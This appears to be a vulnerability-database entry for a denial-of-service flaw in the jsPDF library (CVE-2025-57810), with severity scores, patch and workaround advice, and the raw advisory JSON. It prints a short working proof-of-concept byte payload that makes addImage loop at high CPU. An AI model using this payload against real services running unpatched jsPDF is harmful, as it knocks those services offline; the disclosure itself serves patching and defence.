GHSA-8MVJ-3J78-4QMW

Vulnerability from github – Published: 2025-08-26 16:19 – Updated: 2025-09-10 21:07
VLAI?
Summary
jsPDF Denial of Service (DoS)
Details

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.

Other affected methods are: html.

Example payload:

import { jsPDF } from "jspdf" 

const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])

const doc = new jsPDF();
const startTime = performance.now();
try {
  doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} finally {
  const endTime = performance.now();
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);
}

Patches

The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2.

In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.

Workarounds

Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "jspdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T16:19:04Z",
    "nvd_published_at": "2025-08-26T16:15:37Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUser control of the first argument of the addImage method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`.\n\nExample payload:\n\n```js\nimport { jsPDF } from \"jspdf\" \n\nconst payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])\n\nconst doc = new jsPDF();\nconst startTime = performance.now();\ntry {\n  doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} finally {\n  const endTime = performance.now();\n  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);\n}\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@\u003e=3.0.2.\n\nIn jspdf@\u003e=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.\n\n### Workarounds\nSanitize image data or URLs before passing it to the addImage method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)",
  "id": "GHSA-8mvj-3j78-4qmw",
  "modified": "2025-09-10T21:07:04Z",
  "published": "2025-08-26T16:19:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/security/advisories/GHSA-8mvj-3j78-4qmw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/pull/3880"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/commit/4cf3ab619e565d9b88b4b130bff901b91d8688e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parallax/jsPDF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parallax/jsPDF/releases/tag/v3.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jsPDF Denial of Service (DoS)"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.